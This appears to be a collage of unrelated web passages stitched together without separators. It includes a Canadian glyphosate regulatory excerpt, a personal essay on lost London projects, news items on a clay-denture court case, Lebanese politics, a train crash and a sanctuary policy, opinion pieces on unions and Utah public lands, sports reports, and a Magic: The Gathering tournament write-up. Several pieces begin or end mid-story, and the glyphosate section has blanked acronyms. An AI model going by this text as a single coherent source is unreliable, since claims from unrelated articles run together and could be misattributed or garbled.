To reduce the potential for runoff of glyphosate to adjacent aquatic habitats, precautionary statements for sites with characteristics that may be conducive to runoff and when heavy rain is forecasted are required. In addition, a vegetative strip between the treatment area and the edge of a water body is recommended to reduce runoff of glyphosate to aquatic areas.
What Additional Scientific Information is Being Requested?
There are no additional data requirements proposed as a condition of continued registration of glyphosate products.
International Regulatory Status and Updates on Glyphosate
The PMRA routinely works collaboratively with other member countries within the Organisation for Economic Co-operation and Development ( OECD ) on the regulation of pesticides. As part of the re-evaluation of an active ingredient, the PMRA takes into consideration recent developments and new information on the status of a pesticide in other jurisdictions. Glyphosate is currently acceptable for use in other OECD countries, including the United States, Australia and the European Union. As of 8 March 2017, no decision by an OECD member country to prohibit all uses of glyphosate for health or environmental reasons has been identified. In March, 2015, the World Health Organization's ( WHO ) International Agency for Research on Cancer ( IARC ) published a summary of results of their hazard classification of five pesticides, including glyphosate. IARC classified glyphosate as probably carcinogenic to humans. It is important to note that the IARC classification is a hazard classification and not a health risk assessment. This means that the level of human exposure, which determines the actual risk, was not taken into account by IARC .
In November, 2015, the European Food Safety Authority ( EFSA ) finalized their re-assessment of glyphosate, concluding that glyphosate is unlikely to pose a carcinogenic hazard to humans. The EU also set an acute reference dose, which is the same as that set by the PMRA (PRVD2015-01). In May 2016, the Joint / Meeting on Pesticide Residues ( ) concluded that glyphosate is unlikely to be genotoxic at anticipated dietary exposures and that it is unlikely to pose a carcinogenic risk to humans from exposure through the diet. In March, 2017, the ( ) and the Australian Pesticides and Veterinary Medicines Authority ( ) released their determination that glyphosate is not a carcinogen. Currently, no pesticide regulatory authority, including Health Canada, considers glyphosate to be a carcinogenic risk of concern to humans.
Canada and the USEPA have been collaborating on the re-evaluation of glyphosate. In December 2016, the USEPA Scientific Advisory Panel ( SAP ) discussed the cancer potential of glyphosate, and Health Canada's PMRA participated as an observer. The final SAP meeting report was posted on March 17, 2017. The PMRA is continuing to monitor regulatory activities from other regulatory organizations, including the USEPA 's review of the SAP recommendations and final determination regarding the potential carcinogenicity of glyphosate. Health Canada's PMRA sets MRLs for pesticide residues on food, which is the maximum amount of residue that is expected to remain on food products when a pesticide is used according to label directions. These are set at levels well below the amount that could pose a health concern. In 2015, the Canadian Food Inspection Agency ( CFIA ) tested approximately 700 samples consisting of a variety of juice and juice blends, grains and grain products, beans, lentils, and a wide variety of fruit and vegetables. The CFIA also initiated a targeted survey of approximately 2,500 samples, looking at levels of glyphosate in bean, pea, lentil, chickpea and soy products, as well as less commonly consumed grains such as barley, buckwheat and quinoa. The results show a high degree of compliance with the MRL s established by the PMRA for glyphosate. The CFIA anticipates having the full analysis completed by Spring 2017.
Today we are thrilled to publish a great piece by our dear friend, James Sherwood.
James is not only an enthralling writer, but also the author of the well-known “Savile Row, The Master Tailors of British Bespoke” and “The Perfect Gentleman” , both published by Thames and Hudson.
This piece was originally published on Mr. Sherwood’s beautiful personal diary called “Letters from Bloomsbury Square.”
Lost London
by James Sherwood
http://james-sherwood.com/diary
Dear Rowley,
Just when you thought you’d got the ‘challenges’ of living in London into perspective, along comes the Daily Mail with an absolute humdinger. Apparently there is an illegal trade in monkey meat on Ridley Road Market that could – with the tainted flesh of just one rogue primate – introduce the ebola virus to the UK. Ridley Road happens to be rather a distance from Bloomsbury Towers as the crow flies. But that lamb bhuna gosht within which toxic monkey meat could lurk is just a telephone call away.
The trials and tribulations of modern life, eh? I am coming to the conclusion that 24-hour news is a plague on our collective psyche. I only need fifteen minutes of the Today programme of a morning to be wound up like a top worrying about the Arab-Israeli conflict, President Putin’s bully boy tactics, the greed of foreign-owned utility companies and the rank stench of corruption in politics and finance…none of which one can really do anything about.
What, in the name of Orla Guerin, is the use of worrying? It takes you everywhere around the globe gathering anxiety and gets you nowhere. Not that I suggest one should stick fingers in ears and sing eight bars of It’s A Wonderful World. However, we seem to be besieged by so much bad news and misery that isn’t our responsibility. Perhaps it is our responsibility to do the proverbial and ‘spread a little happiness’ rather than career about arms akimbo like the soothsayer in Up Pompeii bewailing our doom.
I admire people who make things be that buildings, suits, pieces of magnificent jewellery or beautiful interiors. They give to others and leave something of themselves. Of course their battle is with changing fashion and other people’s perception of taste. Suits are perishable. Buildings can be razed to the ground. Jewellery is broken-up and interiors are redecorated. In this respect books are arguably the most durable of creations. They may go out of print but they have a better chance of surviving than many other objects.
What you want is a creation that is so reflective of an age that it is worth preserving for posterity. Anything that exists as a photograph rather than a three-dimensional object is a ghost of a memory. Recently I succumbed to Linkedin and put together what is effectively an online footprint of one’s CV. How useful it will be remains to be seen but it did encourage me to go back to Titanic and unearth my portfolios of newspaper cuttings. I needed to refer to source to remember the dates.
I time travelled back to 1997 when I wrote my first feature for the Independent on Sunday: a working relationship that continued until 2008. I looked at my first national newspaper feature (for the Guardian would you believe) from 2006 and box upon box of features written for Tatler, The World of Interiors, The Daily Telegraph, The International Herald Tribune, Arena Homme +, The Times, The Sunday Express, Elle, US Esquire and The New York Times.
Going even further back, there were tear sheets and fashion shoots from Country Living, Cosmopolitan, Harpers & Queen and Good Housekeeping when I was an intern still at university. For all intents and purposes, this was a pile of newsprint and glossy pages. But it did remind me that I’d been at that game for so many years and earned my living tapping on a typewriter then a laptop since my early twenties.
I don’t think my journalism is a legacy but it introduced me to worlds that might be.
I enjoyed working in 3D curating the London Cut exhibitions in Florence, Paris and Tokyo. But exhibitions are impermanent. I certainly had higher hopes for the archive room at No 1 Savile Row that I curated for Gieves & Hawkes. Until I researched for Linkedin, I didn’t realise that work was done back in 2007 when Robert Gieve, the last of the family affiliated to the business, died and I was left to design and curate the 1st floor archive room. I spent many years at Gieves & Hawkes and was thoroughly proud of the curation and the acquisitions made to present the history of both houses.
Aesthetically, I loved the Wall of Fame comprising of 75 portraits of illustrious customers that flew above the Regency staircase at No 1. It was a bugger to hang and I did think there those pictures would remain. In 2011, a regime change resulted in a redecoration of No 1 Savile Row and both the staircase and the archive room were ‘reconsidered’. Nothing now remains apart from an album of photographs. But such is London and such is life.
My work for the Savoy between 2009 and 2012 on the Museum and Signature Suites was another project I hoped would have a long life. When the hotel reopened on 10.10.10. the Museum showcased the best of the Savoy archive supplemented with pieces loaned by the Noël Coward estate, tiaras from Bentley & Skinner and many objects and artworks I had bought. By 2012, housekeeping had let down the maintenance of the museum and the relationship ended.
I do understand that hotels and shops such as Gieves & Hawkes cannot be frozen in aspic. Bosses change and new people come in. I do wish they had not and/or that the work had been impressive enough to post a ‘do not disturb’ sign around it. But such is life. It is a consolation to say ‘I did that’ but only a minor one until a project presents itself when I can say ‘I did that and here it will stay’.
But that hasn't stopped the province's colleges of dental surgeons, dental technicians and denturists from asking the Supreme Court for an injunction to prevent Matthew Ronald Block from operating out of his Richmond apartment.
In his response to to the petition, Block claims the dental regulators are taking a "cruel and unnecessary" step against him by filing for an injunction.
"Mr. Block is not offering and has already told the petitioners he will never again offer any dental-related services," Block's girlfriend states in his response.
"Mr. Block has never lied to the petitioners or the courts, therefore it is unreasonable to assume he will not keep his promises."
'It was a stupid idea'
The dental regulators went to court last month seeking an injunction to stop Block from selling $100 false teeth allegedly made out of an arts and crafts clay called "Sculpey."
According to documents filed in the case, Block came to the attention of authorities last August after boasting in a Craiglist ad of having invented a "temporary flipper type false tooth" for his girlfriend.
The College of Dental Surgeons of British Columbia hired a private investigator who claimed Block offered to fit him with a tooth and was also working on a full set of dentures he referred to as a "snap on smile."
A private investigator claims he was told his artificial tooth would be made of 'Sculpey,' a modelling clay not usually associated with dentures. (Sculpey)
In a Facebook message, Block told CBC News his girlfriend put up the ad without his knowledge. He said he never had any visitors beyond the college's investigator and never made or sold any more false teeth.
"I, on my own accord, took it down because it was a stupid idea," Block wrote.
If they were worried about him, Block questions why the colleges waited 11 months between sending an investigator to visit him and going to court. He claims he was asked to sign an undertaking, but refused because he didn't want his name listed next to "other real actual criminal dentist(s) who actually practice dentistry illegally."
"I explained to them in clear and certain terms that I agreed with them full-heartedly and had stopped on my own accord 11 months prior and that I would never do anything like that ever again, and just pleaded with them not to put my name on their website," Block wrote in his Facebook message.
"And so then they go and do this and blasted my name across international media."
Block also said the gloves he was wearing were not dirty — as the investigator claimed in his affidavit; Block said the gloves were covered in a powder that comes from the manufacturer.
The Soviets dropped more than 350 bombs during the raid. Innocent civilians died. Entire buildings were turned to dust. And it was just the beginning. Three hours before the air strike, more than 450,000 Soviet soldiers began marching across the Finnish border. The Soviet soldiers outnumbered the Finnish army almost 3-to-1. That wasn't the worst of it. The Soviets also commanded more than 6,000 armored tanks and almost 4,000 aircraft. Finland, meanwhile, had just 32 tanks and 114 aircraft. 1
It was the beginning of what became known as the Winter War. For the Finns, there was no question whether some of them would die. The question was whether any of them would survive.
The Winter War
The winter was brutal that year. In January, temperatures dropped to 40 degrees below zero. Furthermore, at that time of the year and with Finland being located so far north, the soldiers were surrounded by darkness for almost 18 hours per day. Vastly outnumbered, fighting in a brutally cold darkness, and facing near-certain death, the Finnish soldiers relied on a concept that has been part of Finnish culture for hundreds of years: Sisu.
Sisu is a word that has no direct translation, but it refers to the idea of continuing to act even in the face of repeated failures and extreme odds. It is a way of living life by displaying perseverance even when you have reached the end of your mental and physical capacities. During the Winter War, the extreme mental toughness of Sisu was all the Finnish soldiers could rely on.
The Finns would suffer more than 70,000 casualties during the Winter War. But that number would pale in comparison to the 323,000 Soviet casualties during that same time. By the end of winter, the Soviets had seen enough. The Moscow Peace Treaty was signed in March 1940. In total, the Soviets had attacked with over 900,000 soldiers during the Winter War. By the end, 300,000 Finns had managed to fight them to a standstill. 2
Sisu
Emilia Lahti, a PhD candidate at Aalto University in Helsinki and former student of Angela Duckworth at University of Pennsylvania, studies the concept of Sisu and how it applies to our lives. According to Lahti, “Sisu is the concept of taking action in the face of significant adversity or challenge. It is not so much about achievement as it is about facing your challenges with valor and determination.” She goes on to say, “Sisu provides the final empowering push, when we would otherwise hesitate to act.” 3
In many ways, Sisu is similar to grit, which has been shown to be one of the best predictors of success in the real world. For example, Angela Duckworth's research on grit has shown that…
West Point cadets who scored highest on the Grit Test were 60% more likely to succeed than their peers.
Ivy League undergraduate students who had more grit also had higher GPAs than their peers — even though they had lower SAT scores and weren’t as “smart.”
When comparing two people who are the same age but have different levels of education, grit (and not intelligence) more accurately predicts which one will be better educated.
Competitors in the National Spelling Bee outperform their peers not because of IQ, but because of their grit and commitment to more consistent practice.
(If you'd like more, I wrote about Duckworth's research here.)
But Sisu runs even deeper than grit. It is a type of mental toughness that allows you to bear the burden of your responsibilities, whatever they happen to be, with a will and perseverance that is unbreakable. It is the ability to sustain your action and fight against extreme odds. Sisu extends beyond perseverance. It is what you rely on when you feel like you have nothing left.
Failure is an Event, Not an Identity
Joshua Waitzkin, a martial arts competitor and champion chess player, says, “At a high level of competition, success often hinges on who determines the field and tone of battle.”4 It is your mental toughness—your Sisu—that determines the tone of battle.
Most people let their battles define them. They see failure as an indication of who they are. Mentally tough people let their perseverance define them. They see failure as an event. Failure is something that happens to a person, not who a person is. This attitude is what helped carry the Finnish soldiers through the Winter War. Even when surrounded by failure, by death, and by insurmountable odds, their Sisu did not let the soldiers see themselves as failures.
We will all face moments when our physical and mental resources feel tapped out. There will always be times when we are hammered with failure after failure and are called to find a fire within. And perhaps even more frequently, there will be many moments when we want to achieve something, but it feels as if we face incredibly long odds. In those moments, you have to call on your Sisu.
When you start a business even though you have nobody to look to for guidance. Sisu.
When you are two miles from finishing your race, and it feels as if you can't make it another step. Sisu.
When you are running on fumes and bleary-eyed from caring for your young children, but still need to find the strength to nail your presentation at work. Sisu.
When you step under the bar and prepare to squat a weight that you have never tried before. Sisu.
When you're in the middle of a season slump that never seems to end. Sisu.
When you feel as if you have tried everything you can to achieve your goal, and you still haven't made it. Sisu.
“The Israelis know very well that there are no missile factories in Lebanon. They are used to running these disinformation campaigns,” Hariri told the French daily Le Monde in an interview published Friday.
“Our problem with Israel is that its leaders always talk about war and security but never about peace,” he said, accusing Israel of failing to respond to the Saudi peace initiative from 2002.
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Israel has recently warned against Iranian efforts to setup weapons production facilities in Lebanon, with Defense Minister Avigdor Liberman telling United Nations Secretary General Antonio Guterres in a meeting in Israel earlier this week that Iran is “working to set up factories to manufacture accurate weapons within Lebanon itself.”
Liberman did not explicitly threaten to attack the Iranian missile factories in Lebanon, but he said that “the Lebanese government and the citizens of southern Lebanon should know” that Israel will be forceful in future conflicts.
The presence of at least two Iranian missile manufacturing facilities was revealed by Israel earlier this summer. On Monday, Prime Minister Benjamin Netanyahu told Guterres that Iran was also involved in the construction of another missile base in Syria.
Netanyahu also said Iran is working to establish beachheads in Lebanon and Syria with which to attack Israel.
“Iran is busy turning Syria into a base of military entrenchment, and it wants to use Syria and Lebanon as warfronts against its declared goal to eradicate Israel,” the prime minister said. “This is something Israel cannot accept. This is something the UN should not accept.”
In the interview with Le Monde, Hariri rejected claims that Hezbollah is in control of Lebanon, days after the terror group negotiated a deal for the evacuation from Lebanon of Islamic State jihadists fighting against Lebanese security forces.
“They claim that Hezbollah controls Lebanon, this is not true,” he said. Hezbollah has a presence — it is in the government and it enjoys support in the country — but this doesn’t mean that Hezbollah is in control of the entire Lebanon.”
Hariri also defended the agreement for the IS fighters’ evacuation, saying he and Lebanese President Michael Aoun allowed the jihadists to “cross the border” into Syria as part of the deal, but also said “their transfer in buses to eastern Syria was the decision of Hezbollah and the Syrians.”
He also denied the terror group played a more critical role than the Lebanese army in the fighting against IS, saying “this is what Hezbollah is claiming but in fact it was the Lebanese army that played the bigger role and did everything.”
The Lebanese prime minister’s comments regarding the size of Hezbollah’s role in the country came as the UN on Wednesday approved a new expanded mandate for its peacekeeping forces in southern Lebanon that Israel said will help stymie the terror group’s power and influence in the country’s southern region.
Israel and the US had sought the more robust mandate for UNIFIL to tackle what they say is a blatant, unauthorized arms buildup by Hezbollah in southern Lebanon.
Unifor — Canada’s largest private sector union, which formed on Labour Day from the existing CAW and CEP — has opened its doors to part-time workers, the self-employed, those without a job and even political activists by asking people to organize “community chapters” around a common cause, rather than an employer.
Roxanne Dubois, community chapters co-ordinator at Unifor, said the union expects groups to organize around broader community issues, because members are also citizens who can “change the world around [them].”
With declines in industrial employment across the country, expanding the membership base is a life-or-death matter for unions. But for those who already question union spending habits, this program is distracting at best, and maybe even illegal.
John Mortimer, president of the Canadian LabourWatch Association, which says it aims to help employees make informed choices about unionization, says there is a hard line between bargaining and non-bargaining activity, and that any money spent on the latter is technically unlawful. While the community chapters are self-funded, Unifor is developing the program, which involves spending money on services such as collecting dues and administering a benefits package.
Mr. Mortimer points to the Income Tax Act, which says dues should not be levied for “any purpose not directly related to the ordinary operating expenses of the … union.” It is an issue addressed by Bill C-377, a Conservative proposal that would, among other things, force unions to publicly disclose details of their spending, and which suffered a setback in the Senate in June.
The community chapters program, which is in its third month of operation, is no more lawful than the other non-bargaining activities unions engage in, Mr. Mortimer said.
He said Unifor, which represents over 300,000 workers across Canada, should spend less time “on things that aren’t relevant” and more time fulfilling its mandate: “Figuring out how to make work better for employers and employees.”
Catherine Swift, chair of the Canadian Federation of Independent Business and a longtime critic of unions, said the program “ultimately helps the unions themselves — it’s not collective bargaining.” But, she said the community chapters program is “less problematic” than using union dues to fund “violent student riots in Montreal,’’ as happened during Quebec’s student marches last year.
There are currently two operational national chapters and “a number of other groups” that are in the process of forming community chapters. One of these is an injured workers group in Thunder Bay, Ont., that is hoping to receive help from the local union in seeking compensation for their injuries, said Ms. Dubois.
Under the program, chapters are paired with an existing local union that will provide resources, advocacy and training. If the group has a national scope and members in more than one province, it is recognized as a national chapter, said Ms. Dubois.
Members of community chapters choose to “pool their resources by paying a membership fee,” similar to many other groups in Canada, Ms. Dubois added by e-mail. The money collected is not the same as that collected from full due-paying members covered by collective agreements, she said.
Jim Hillyer, Conservative MP for Lethbridge, and Lavar Payne, Conservative MP for Medicine Hat, both said they support Bill C-377 because they take issue with mandatory union membership and want greater transparency for full due-paying members. But, neither of them saw a problem with people choosing to organize and pay membership fees voluntarily.
The Canadian Freelance Union (CFU), which represents about 250 self-employed communications workers, transitioned from being a local under the CEP union to Unifor’s first national chapter.
As a group of freelancers among full-time employees, “we’re used to being an odd duck … we’re perhaps a slightly odder duck in the bigger Unifor world,” said Michael O’Reilly, president of the CFU. But, he said, the labour movement has to represent “people like us” because “this is the future of labour in this country.”
The CFU currently collects its own monthly dues, but Unifor has committed to providing that service in the new year, as well as developing a new benefits plan for the CFU and other community chapters, said Mr. O’Reilly.
In the process of discussing how to build a strong union that could address the needs of today’s workers, Unifor leaders recognized that “the nature of work has changed in Canada,” said Ms. Dubois. The rise of precarious work means that many people are not in a position to find full-time jobs “that they will keep for the rest of their lives,” she said.
“What a union calls a precarious job, is a job that meets many people’s needs,” said Mr. Mortimer.
Representative Rob Bishop’s Utah Public Lands bill isn’t just a bad deal for Utahns who want to see Bears Ears protected as a national monument, but it’s also a terrible bill for public lands in general. Included in the sweeping language is binding provisions that would require the federal land management agencies to maintain in perpetuity the existing levels of livestock grazing on public grazing allotments, regardless of the adverse ecological or cultural impacts the land use is causing. It’s essentially a free pass to abuse and overuse our public trust resources, and it limits the government’s ability to manage in accordance with recent science.
It isn’t just designed to tie the government’s hands on grazing management in Utah, but across all federal lands. Section 1303 of the bill guts all laws and regulations designed to protect our public lands from abuse. The bill would require the agencies to maintain the same level of grazing on all federal public lands at the time of enactment, “except for cases of extreme range conditions where water and forage is not available.” In areas on public land where grazing has been previously been reduced or eliminated due to conflicts with wildlife or other important conservation values, grazing will be “reviewed and managed to support grazing at an economically viable level.” In other words, the conservation management of the past will be undone and profit will take precedence over all other values.
For example, in areas where there are potential conflicts between disease carrying domestic sheep and bighorn sheep, the agencies would be required to maintain the same levels of domestic sheep and cattle grazing even if there is a high risk of disease transmission to vulnerable bighorn sheep populations. This means that bighorn sheep would not be protected from private industrial uses even in the wildest parts of our national forests and deserts.
This is a hostile takeover of our precious public lands by the rich and powerful, defining management in accordance with extractive interests instead of the multiple uses by the majority of Americans that include wildlife viewing, watershed health, and recreation. Though the bill doesn’t directly affect public access to public lands, entrenching unsustainable livestock levels will diminish the opportunities for other lands users to enjoy the open spaces.
Harjeet Johal ,
September 8, 2017 Twitter
@HarJournalist
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VANCOUVER, B.C - The Whitecaps are soaring high as MLS rounds the corner into the final two months of the season. Carl Robinson's lads are sitting pretty, 4th in the western conference with 38 points via an 11-9-5 record. Vancouver will kick off four consecutive matches at BC Place, on Saturday night vs Real Salt Lake.
It's a vital juncture of the season that will play a large part in determining whether Vancouver are swimming up-stream fighting for a first round playoff bye, or struggling to hold down a playoff spot. Kendall Waston knows the importance of dominating at home.
“Massive, because we want to qualify. We need to make our home a strength. Winning is very important to get in first place in the standings," Waston said.
In seasons gone by, Whitecaps FC would have been bunkered in a summer swoon once the calendar flipped over to September. Fans, media, and curious observers would be making lists of who should, and shouldn't be back the following season.
That's not the case. Vancouver are in the thick of things, and comfortably holding down a playoff position. You could certainly make the case that this is the most promising the Caps have looked late in the season with the new achievements still attainable.
On the grind ahead of Real Salt Lake tomorrow. #VWFC #OurAllOurHonour pic.twitter.com/N8RgA7Dqkz — Vancouver Whitecaps (@WhitecapsFC) September 8, 2017 "Yeah," Waston agreed. "The way that we are playing. The games we win out of Vancouver, on the road. That shows the character and the willing we have to be in the first position. It’s not easy having so much games on the road. Now these four games, we need to at least win all of them to be calm at the end of the season."
Calmness is not a feeling bestowed on sports fans in Vancouver. The doom, and gloom tends to match the weather outside. However, there is a delightful optimism. Whitecaps FC will host Real Salt Lake (today), Minnesota United FC (Wednesday, Sept 13), Columbus Crew SC (Saturday, Sept 16), and the Colorado Rapids (Saturday, Sept 24) at BC Place. Fate is their boots, and it's paramount Whitecaps FC set the tone early vs Real Salt Lake, and carry on strong throughout the home-stand.
“It’s important every game," said Assistant Coach Martyn Pert. "The real focus is not about the three games ahead of it, but the actual game we’re playing on Saturday. That’s what we’ve tried to do all season, the gaffer’s mentioned it all along, the next game’s the most important one, and it’s a big game. They’re close to us, a decent team, in a decent run of form. It’s a really important game.”
Having three matches in a span of eight days, twice before Thanksgiving will test the Whitecaps depth. Squad rotation is important so players do not get over-worked, and injured. Injuries, and suspensions are a part of football, teams that have the depth will prevail during crunch time. While 'Towering Tico, Kendall Waston would love to play each, and every single match. That's out of his hands.
"We work very hard from preseason to play as many games as we can," said Waston. "If the club doesn’t play all the same players, it’s because of Robbo. Everybody wants to play each game."
The 29 year-old Waston maintains that his fitness is "excelente" despite representing Costa Rica twice for 90 minutes during the September FIFA window. As 'Los Ticos' attempt to qualify for the 2018 FIFA World Cup, Waston is living his dream with a Costa Rica berth in Russia in plain sight.
“It’s very emotional, because it’s a desire to be in the World Cup," admitted Waston. "We are very close, but in football, you never know. We have one game in Costa Rica against Honduras, and after, we play in Panama. Hopefully we could sort things out to be there.”
While Waston, Christian Bolanos, and Costa Rica are finding success in 'The Hex', Canada is on the outside, and won't be playing at the World Cup next summer. Instead, Canada hosted Jamaica for an international friendly at BMO Field on Saturday, September 2.
Whitecaps FC teenager, Alphonso Davies was shown a straight red card, seven minutes after entering the pitch in the second half. It was a violent kick that could have been worse had Davies connected with his Jamaican opponent. Davies has since apologized via social media. Waston offered his take on the incident.
I just want to apologize to @CanadaSoccerEN for my breakout on the field earlier today, and to the people that came to watch the game 🙏🏿 pic.twitter.com/eS19JHOZaa — Alphonso Davies (@AlphonsoDavies) September 3, 2017 “I didn’t see nothing," said Waston, as if he was the one in the wrong. "I just hear about it. I think from this, he’s going to learn, obviously. Sometimes when we are younger, we make silly things (mistakes). We know the type of player he is. I don’t know what was on (in) his head. I’m really really sure, from this he is going to learn.”
Learnings are what make athletes, and coaches better. Vancouver has an opportunity to learn from previous September slip ups, while trying to climb higher in the standings. Kendall Waston will look to lead Vancouver as he has done for Costa Rica in 2018 World Cup qualifying. Alphonso Davies is a young lad, and he too wil learn from what happenend vs Jamaica. He can't go back, he can only go foward and progress.
One train had been travelling from the capital Cairo, the other from Port Said in the north, when they crashed head-on at speed during Friday evening rush hour.
Transport ministry officials said the accident was probably caused by a malfunction in one of the trains that brought it to a halt on the rails. The other train is then thought to have crashed into it.
In pictures circulated on social media, nearly a dozen wounded and dead could be seen lying next to the crash site covered in blankets.
Dr Mohamed Abu Homs, the head of the ambulance services in Alexandria's western sector, said he fears the death toll and the number of injured could rise further.
GLENDALE, Ariz. -- Yasiel Puig homered and made a diving catch in right field as the Dodgers defeated the Rockies, 7-3, on Wednesday at Camelback Ranch.
GLENDALE, Ariz. -- Yasiel Puig homered and made a diving catch in right field as the Dodgers defeated the Rockies, 7-3, on Wednesday at Camelback Ranch.
Puig's homer came with one out in the fourth against Rockies starter Chad Bettis, who gave up two runs and five hits in four innings. In the top of the fifth with the score tied at two, Puig dove to rob Charlie Blackmon of possible extra bases -- and an RBI -- on a line drive.
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Dodgers starter Zach Lee held the Rockies to a run and three hits in three innings. Reserve Los Angeles catcher Shawn Zarraga knocked two hits to bring his spring average to .533. Touted Dodgers prospect Julio Urias gave up two hits and a run in two innings, earning the win.
It was the second start for Bettis, who threw three perfect innings against the Indians in his spring debut.
"I felt good, strong, healthy, but there are some minor details I have to work on," Bettis said. "One thing for me was my hips felt like they were opening up a little bit fast, which led into some arm-side misses -- more than I would like, especially when they're not competitive.
"I felt better out of the stretch than I did out of my windup today. It wasn't that I was uncomfortable, but there are things I need to work on."
Rockies third baseman Nolan Arenado went 2-for-3 with a double and an RBI to lift his spring batting average to .593. He also has a .926 slugging percentage and a .586 on-base percentage.
Up next for the Rockies: Right-handed prospect Jeff Hoffman, reassigned to Minor League camp last week, has been called back to face the Angels at Salt River Fields at Talking Stick on Thursday at 1:10 p.m. MT. Hoffman struck out two in two scoreless innings against the Reds in his only Cactus League appearance. Expected rotation member Jon Gray will pitch, while David Hale, who has missed the first half of the spring schedule with a right hamstring injury, will make his debut.
The Dayton Police Department rescinded the policy just weeks after President Donald Trump signed an executive order in which the Department of Justice (DOJ) and the Department of Homeland Security (DHS) would have authority over cutting federal funds to sanctuary jurisdictions which harbor illegal immigrants.
Under the sanctuary policy, Dayton officials were not allowed to speak with Immigration and Customs Enforcement (ICE) about cases involving illegal aliens who were accused of misdemeanors or felony property crimes, according to the Dayton Daily News.
Dayton Police Chief Richard Biehl said the policy change was simply so that his police force would be in accordance with federal immigration law.
Biehl, though, said his department does not have the legal authority to enforce immigration law, but the policy change means ICE would be able to do that job without obstruction from the police department.
I decided to team up with Jason Chung and Oliver Tiu to secure some much needed Pro Points. Going into the tournament, we thought the Death’s Shadow deck was a must-play. We worked with couple of other teams (PV’s team, Siggy’s team, and Sam Pardee’s team, to name a few) and we all arrived at this conclusion.
We decided to play Abzan over Jund and Grixis. I didn’t really play much with the deck as Oliver was our Death’s Shadow player, but it made sense to play Abzan. First, it was a concession to the Unified format, since we wanted to use the Jund fetchlands and duals in another deck. Second, it felt to me that Modern has turned into a grindy format, where Lingering Souls shines and Battle Rage is less necessary. Third, the Grixis deck just straight-up sucks—in my opinion.
Abzan Death’s Shadow
Unfortunately, Abzan Death’s Shadow takes away a lot of cards. We had to make sacrifices. Luckily, we had me on our team. A Merfolk one-trick pony. Merfolk is basically perfect for Unified as it doesn’t really take any cards except for Mutavault from Faeries and Spreading Seas from U/W Control. Since we couldn’t play Faeries thanks to Death’s Shadow, and we didn’t like U/W, it was a pretty easy choice to put me on the deck.
At this point, I have played approximately infinite games with Merfolk, so I know all the ins and outs. I feel comfortable with the deck, and for the first time ever, I actually think it might be a tier 1 deck. Like I said, the format is getting more grindy, and that’s the metagame where Merfolk shines. While I don’t think the matchup is great or anything, I have yet to lose to Death’s Shadow. Overall, I felt this was a decent choice and I thought I would lose around 3-4 matches, which is exactly what happened.
Merfolk
I decided to cutDismember completely. Cards like Dark Confidant and Scavenging Ooze are at an all-time low, and it’s hard to kill Tarmogoyf with it these days. The fun-of Relic in the main deck was nice, especially that one game where I drew it in game 1 against Living End.
The sideboard is a bit weird. For the first time in my career, I ran into issues with card availability. Unified Will was sold out at the event, and no one I had talked to had it. Instead of playing 3 Wills, I chose to go with a split of 2 Negate and Glen Elendra Archmage. Archmage turned out to be really nice, winning me a game versus Abzan. My opponent was so taken aback by it that he missed the Scavenging Ooze plus persist interaction, which let me resolve Master of Waves with protection. I think it is definitely a card I will try more in the future. As for the Negate, I thought it wouldn’t matter as much since it mostly counters the same cards as Unified Will. Oh boy was I wrong—but more on that later.
We took some time to figure out our third option. The process was mostly Jason trying various brews, Oliver messaging everyone about Bant Eldrazi being a terrible choice, and me making fun of them both. Jason went really deep, showing us a Krark-Clan Ironworks deck that we just laughed at. As it turns out, it’s better than we thought, as both Jason and I lost to it at the GP.
Next was the R/W Prison deck popularized by Todd Stevens. That seemed promising as Jason kept telling us he’d won a lot with it. But then Oliver decided to watch him play a League, and from what I understand, Jason didn’t win a single match, and after that we were off the deck. Luckily, the whole APAC region came to our aid. Both Lee Shi Tian and Zen Takahashi were really helpful with our testing process. In the end, they told us that we should just play Dredge. Jason received a Unified deck list and a sideboarding guide. After that, we were good to go. Here’s the deck.
Dredge
I was really happy with our configuration. First, we had Oliver playing the best deck. Second, we had me playing a deck I was comfortable with and that I thought was quite good. Third, we had a strong deck list from the Dredge masters, piloted by the best player from New Zealand. We decided to put our strongest player, Oliver, in the middle. We had some debate about putting me in that spot, as Merfolk is quite good against the grindy decks. You could argue that those would be the most likely to be played by the best player on the team, who is usually in the B seat. Overall, it’s probably completely random, and Oliver won a Twitter poll we made, so we just went with that.
Unfortunately, things didn’t exactly go our way.
It all started well as we won our first round easily. In round 2, Jason won quickly, and both Oliver and I were going to game 3. I mulliganed on the draw against Grixis Control. My hand was 3 Mutavault, Island, Lord of Atlantis, and Relic of Progenitus.
Bad, but I think I had to keep. After a scry to the bottom, my next draw is Mutavault to complete the play set. At that point I told Jason to watch Oliver’s game, as I didn’t really expect to win this one. Luckily, my opponent was short on cantrips, which meant that my Relic managed to keep a quick Tasigur in check. Every turn I attacked with Mutavault and every turn my opponent killed it with a removal spell. Because of the Relic, he couldn’t create card advantage with Snapcaster. He was also a bit flooded, so at some point he just tapped 6 to hardcast Tasigur. I bounced it with Vapor Snag and deployed some creatures I had managed to draw. That was enough to swing the game my way, and I was happy to tell my somewhat surprised teammates that we had won the round.
In round 3 we weren’t so fortunate. Jason again won quickly, but I lost to Melira because I didn’t expect my opponent to play Worship. It all came down to Oliver, who got quite unlucky in his decider. We won round 4, and in the very next round it was time for me to face the biggest challenge. I was paired against Affinity, and after getting very lucky in game 1, I drew 2 Hurkyl’s Recalls, which meant I took the match 2-0. But it was not meant to be as Jason lost to the Merfolk deck from our opponents and Oliver got burned out.
We were 3-2 and feeling pretty miserable, but we bounced back in the next 3 rounds. Highlights include me beating Grixis after my opponent resolved multiple Ancestral Visions to end the game with 10 cards in their library. We also had a tense game of Death’s Shadow versus Burn, where our opponent had a Deflecting Palm we knew about the whole game so we could just sit on our Liliana of the Veil with Death’s Shadow threatening the lethal. I would suggest to not bring that card in as it’s just so easy to play around.
Then round 9 came. We were 6-2 and looking to finish the day strong. I was paired against one of the matchups where Unified Will shines: Amulet Titan. We split the first 2 games, and in game 3 I’m on the draw. My opponent plays Amulet into Amulet, while my turn-1 play is Cursecatcher. It’s my turn 2 and my hand is the following: 2 lands, Lord of Atlantis, Harbinger of the Tides, Vendilion Clique, Negate, and Dispel. Now, if I had Unified Will, I would just pass, counter either Titan or Asuza, and then then-3 Clique, which would give me a very reasonable chance of winning the game. Unfortunately, I’m stuck with Negate, so I just play my Lord, my opponent has the turn-3 Titan, and I lose on the spot. Not all is lost though as Jason won and Oliver is deep into game 3 faced with an interesting decision.
